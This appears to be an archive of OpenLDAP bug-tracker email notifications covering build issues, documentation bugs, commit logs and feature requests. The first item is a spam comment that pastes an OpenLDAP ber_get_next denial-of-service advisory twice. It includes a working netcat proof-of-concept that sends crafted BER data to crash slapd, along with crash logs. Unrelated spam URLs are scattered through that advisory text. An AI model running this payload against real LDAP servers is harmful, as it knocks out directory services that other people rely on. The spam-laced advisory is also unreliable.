https://bugs.openldap.org/show_bug.cgi?id=9202
--- Comment #10 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details http://www-look-4.com/ a vulnerability found within the
OpenLDAP server daemon. A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
http://www.compilatori.com/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository. http://www.wearelondonmade.com/
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP
http://www.jopspeech.com/ daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://joerg.li/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode. http://connstr.net/
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
http://embermanchester.uk/
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next http://www.slipstone.co.uk/
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed. http://www.logoarts.co.uk/
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)] http://www.acpirateradio.co.uk/
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
https://waytowhatsnext.com/
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details a vulnerability found within the OpenLDAP server daemon.
A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
https://www.webb-dev.co.uk/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository.
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://www.iu-bloomington.com/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode.
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8852
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|reviewed |
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8757
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|reviewed |
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8748
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|lmdb-scratch |
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6010
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|OL_2_6_REQ |
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9672
Issue ID: 9672
Summary: Permit static linking with libsasl2
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: build
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
Created attachment 838
--> https://bugs.openldap.org/attachment.cgi?id=838&action=edit
pkg-config + libsasl2 = ♥
I want to link slapd statically. First I link openssl and libsasl2 statically.
The static libsasl2 bundles all SASL plugins, and linking towards it must be
done (in my case) with -lcrypto. The check in configure.ac:
```
AC_CHECK_LIB(sasl2, sasl_client_init,
[ol_link_sasl="-lsasl2"],
[AC_CHECK_LIB(sasl, sasl_client_init,
[ol_link_sasl="-lsasl"])])
```
fails, since -lcrypto is not passed during linking with the static -lsasl2 .
`pkg-config --statit libsasl2 --libs` knows how to link statically with
libsasl2 and it knows, whether libsasl2 is installed.
The applied patch does linking/preprocessing of libsasl2 by utilizing
pkg-config, when available.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9676
Issue ID: 9676
Summary: slapadd -n0 does need -F parameter, despite the
documentation
Product: OpenLDAP
Version: 2.5.7
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
My reading of the documentation of slapadd is, that when `slapadd -n0
-linit0.ldif` is called, and the default config directory exists, and is empty,
sladadd will create the cn=config database in the default config directory.
```
-F confdir
specify a config directory. If both -f and -F are specified, the
config file will be read and converted to config directory format and
written to the specified directory. If neither option is specified, an
attempt to read the default config directory will be made before
trying to use the default config file. If a valid config directory
exists then the default config file is ignored. If dry-run mode is also
specified, no conversion will occur.
```
My default config directory is "/data/config" (
CFLAGS="-DSLAPD_DEFAULT_CONFIGDIR='\"/data/config\"' )
calling strace slapadd -n0 -linit0.ldif prints:
[pid 573949] newfstatat(AT_FDCWD, "/data/config", <unfinished ...>
[pid 573949] <... newfstatat resumed>{st_mode=S_IFDIR|0755, st_size=4096, ...},
0) = 0
[pid 573949] mmap(NULL, 1052672, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
[pid 573949] <... mmap resumed>) = 0x7f050183a000
[pid 573949] gettimeofday( <unfinished ...>
[pid 573949] <... gettimeofday resumed>{tv_sec=1631220679, tv_usec=401535},
NULL) = 0
[pid 573949] openat(AT_FDCWD, "/data/config/cn=config.ldif", O_RDONLY
<unfinished ...>
[pid 573949] <... openat resumed>) = -1 ENOENT (No such file or directory)
[pid 573949] munmap(0x7f050183a000, 1052672 <unfinished ...>
[pid 573949] <... munmap resumed>) = 0
[pid 573949] newfstatat(AT_FDCWD, "//etc/openldap/slapd.conf", <unfinished
...>
[pid 573949] <... newfstatat resumed>0x7ffda7228410, 0) = -1 ENOENT (No such
file or directory)
[pid 573949] write(2, "slapadd: bad configuration file!\n", 33 <unfinished ...>
So it fails.
If I call instead slapadd -n0 -linit0.ldif -F/data/config
the output is
[pid 575257] openat(AT_FDCWD, "/home/d/data/config", O_RDONLY|O_CLOEXEC
<unfinished ...>
[pid 575257] <... openat resumed>) = 12
[pid 575257] epoll_ctl(4, EPOLL_CTL_ADD, 12,
{events=EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, data={u32=740160072,
u64=139733206168136}} <unfinished ...>
[pid 575257] <... epoll_ctl resumed>) = -1 EPERM (Operation not permitted)
[pid 575257] epoll_ctl(4, EPOLL_CTL_DEL, 12, 0xc0005a1b34 <unfinished ...>
[pid 575257] <... epoll_ctl resumed>) = -1 EPERM (Operation not permitted)
[pid 575257] getdents64(12, <unfinished ...>
[pid 575257] <... getdents64 resumed>0xc000710000 /* 2 entries */, 8192) = 48
[pid 575257] getdents64(12, <unfinished ...>
[pid 575257] <... getdents64 resumed>0xc000710000 /* 0 entries */, 8192) = 0
[pid 575257] close(12 <unfinished ...>
[pid 575257] <... close resumed>) = 0
…
and data/config is filled with content
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6949
--- Comment #10 from Quanah Gibson-Mount <quanah(a)openldap.org> ---
RE26:
Commits:
• eedd08fd
by Ondřej Kuzník at 2021-09-08T18:30:16+00:00
ITS#6949 Extract logging code so lloadd can also use it
• a40243d9
by Ondřej Kuzník at 2021-09-08T18:30:20+00:00
ITS#6949 Save errno
• ae268711
by Ondřej Kuzník at 2021-09-08T18:30:27+00:00
ITS#6949 Allow for fd 0
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6949
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Resolution|--- |TEST
Status|CONFIRMED |RESOLVED
--- Comment #9 from Quanah Gibson-Mount <quanah(a)openldap.org> ---
Commits:
• 2abbf678
by Ondřej Kuzník at 2021-09-08T15:53:02+00:00
ITS#6949 Extract logging code so lloadd can also use it
• dc6b6276
by Ondřej Kuzník at 2021-09-08T15:53:02+00:00
ITS#6949 Save errno
• c2b81a3c
by Ondřej Kuzník at 2021-09-08T15:53:02+00:00
ITS#6949 Allow for fd 0
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=5540
Ondřej Kuzník <ondra(a)mistotebe.net> changed:
What |Removed |Added
----------------------------------------------------------------------------
See Also| |https://bugs.openldap.org/s
| |how_bug.cgi?id=9664
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8341
Ondřej Kuzník <ondra(a)mistotebe.net> changed:
What |Removed |Added
----------------------------------------------------------------------------
See Also| |https://bugs.openldap.org/s
| |how_bug.cgi?id=9664
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6949
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Resolution|TEST |---
Status|RESOLVED |CONFIRMED
--- Comment #8 from Quanah Gibson-Mount <quanah(a)openldap.org> ---
Need code to be shared between slapd and loadbalancer
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9665
Issue ID: 9665
Summary: wrong indentation in ldap_int_bisect_find
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: libraries
Assignee: bugs(a)openldap.org
Reporter: roland.illig(a)gmx.de
Target Milestone: ---
In abandon.c, ldap_int_bisect_find has an incorrectly indented if statement.
I stumbled upon this due to a lint warning and immediately wondered who forgot
to format the code again, probably after removing a redundant outer if
statement or loop.
The wrong indentation was introduced by
https://git.openldap.org/openldap/openldap/-/commit/2660518c5d924b2b6377a87…
in 2008.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9663
Issue ID: 9663
Summary: Compilation problems: Perl backend
Product: OpenLDAP
Version: 2.5.6
Hardware: x86_64
OS: Linux
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: backends
Assignee: bugs(a)openldap.org
Reporter: jb00356987(a)techmahindra.com
Target Milestone: ---
Dears,
I try to compile 2.5.6 version with --enable-perl module but I get issue as
following :
first I get :
In file included from init.c:18:
perl_back.h:21:10: fatal error: EXTERN.h: No such file or directory
#include <EXTERN.h>
^~~~~~~~~~
compilation terminated.
make[3]: *** [Makefile:334: init.lo] Error 1
I had to install a missing rehl package (perl-devel.x86_64) and set the
CPPFLAGS of the "configure utility" to the path of these header files.
I did run "make clean" and restart the full comilation process then "make" goes
futher but now I get a lot of entries as below then it stopped :
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:50:
undefined reference to `Perl_pop_scope'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:48:
undefined reference to `Perl_sv_2iv_flags'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:50:
undefined reference to `Perl_free_tmps'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:36:
undefined reference to `Perl_stack_grow'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:34:
undefined reference to `Perl_markstack_grow'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:35:
undefined reference to `Perl_stack_grow'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:45:
undefined reference to `Perl_croak_nocontext'
/usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:28:
undefined reference to `Perl_croak_nocontext'
collect2: error: ld returned 1 exit status
make[2]: *** [Makefile:527: slapd] Error 1
Any idea of what's the issue ?
Configure used : ./configure --enable-modules --enable-ldap --enable-dynlist
--enable-ppolicy --enable-unique --with-gnu-ld --enable-refint --with-tls
--enable-dynamic --enable-valsort --enable-perl --enable-rwm
Thx,
Jean-Luc.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9662
Issue ID: 9662
Summary: Error while adding user/group in openldap
Product: OpenLDAP
Version: 2.4.56
Hardware: x86_64
OS: Linux
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: is3871(a)att.com
Target Milestone: ---
Created attachment 837
--> https://bugs.openldap.org/attachment.cgi?id=837&action=edit
Error details
Error while adding user/group in openldap
adding new entry "dc=ajp,dc=att,dc=com"
ldap_add: Server is unwilling to perform (53)
additional info: no global superior knowledge
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8375
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|needs_review |
Target Milestone|2.7.0 |2.6.1
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8255
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Target Milestone|2.7.0 |2.6.1
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9651
Issue ID: 9651
Summary: Add some kind of rate limiting option to ldapmodify
Product: OpenLDAP
Version: 2.5.6
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: enhancement
Priority: ---
Component: client tools
Assignee: bugs(a)openldap.org
Reporter: hyc(a)openldap.org
Target Milestone: ---
When using ldapmodify to replay a testing workload it would be useful to be
able to specify a request rate, instead of just performing multiple operations
in immediate succession. As a simpler alternative, just being able to specify a
time interval between operations would be helpful.
As an even greater future enhancement, it would be nice to have an option to
replay an accesslog.ldif directly, using its embedded timestamps to control the
time interval between operations. Currently this isn't feasible since reqstart
timestamps only have 1-second granularity, the fraction part is a linear
counter and not a microsecond value. The reqStart fraction would need to be
extended to 9 decimal places with full nanosecond resolution in order to be
usable as actual fractional time. We already know that microsecond resolution
is insufficient to avoid frequent collisions.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9661
Issue ID: 9661
Summary: How to monitor an LDMB file for being pretty full
Product: LMDB
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: liblmdb
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
https://ltb-project.org/documentation/nagios-plugins/check_lmdb_usage provides
a Nagios plugin, to check how full/free a LMDB database is. It calls mbd_stat
-ef, and parses from the output the numbers in the “Max pages:”, “Number of
pages used:”, and “Free pages:” lines.
With these numbers it calculates “the percent of used pages” or “the percent of
free pages” and signals the status with return values 0 -OK, 1 - warning, or 2
- critical . The disadvantage of check_lmdb_usage is, that it requires perl.
Do you recommend to monitor the absolute number of free pages, the relative
number of free pages, the absolute number of used pager, or the relative number
of used pages?
Please extend mdb_stat to be suitable for monitoring the fullness of a LMDB
directory - accept parameters of for a warning and critical threshold, and a
parameter on how to calculate the criterion (A - based on absolute number of
free pages, B - relative number of free pages, C - absolute number of used
pages, or D - relative number of used pages).
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8375
--- Comment #7 from geert.hendrickx(a)telenetgroup.be <geert.hendrickx(a)telenetgroup.be> ---
I can reproduce it on any sufficiently large db, both tree-structured or flat,
given the right search scope.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8375
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords| |needs_review
--- Comment #6 from Quanah Gibson-Mount <quanah(a)openldap.org> ---
I'll put needs review on it though so we can discuss. ;)
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8375
--- Comment #5 from Quanah Gibson-Mount <quanah(a)openldap.org> ---
(In reply to geert.hendrickx(a)telenetgroup.be from comment #4)
> Hi
>
> I can reproduce exactly the same behaviour with OpenLDAP 2.5.7, on a freshly
> slapadd'ed mdb.
Target milestone for the fix is 2.7.0, so that's expected. ;)
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8375
--- Comment #4 from geert.hendrickx(a)telenetgroup.be <geert.hendrickx(a)telenetgroup.be> ---
Hi
I can reproduce exactly the same behaviour with OpenLDAP 2.5.7, on a freshly
slapadd'ed mdb.
--
You are receiving this mail because:
You are on the CC list for the issue.